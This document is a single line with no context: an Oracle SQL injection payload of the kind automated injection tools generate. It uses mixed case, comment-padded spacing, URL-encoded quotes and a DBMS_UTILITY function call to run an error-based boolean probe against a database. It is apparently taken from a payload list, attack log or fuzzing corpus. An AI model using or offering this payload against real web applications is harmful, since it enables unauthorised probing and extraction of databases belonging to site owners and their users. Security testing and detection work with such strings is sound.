1)aND/**/7995=dBMS_UTiLity.SqLId_tO_SQLhaSh(cHR(126)||%27~%27||(selECt/**/(CASE/**/WheN/**/(7995=7995)/**/tHEN/**/1/**/elsE/**/0/**/end)/**/FRoM/**/DuaL)||%27~%27||Chr(126))-- -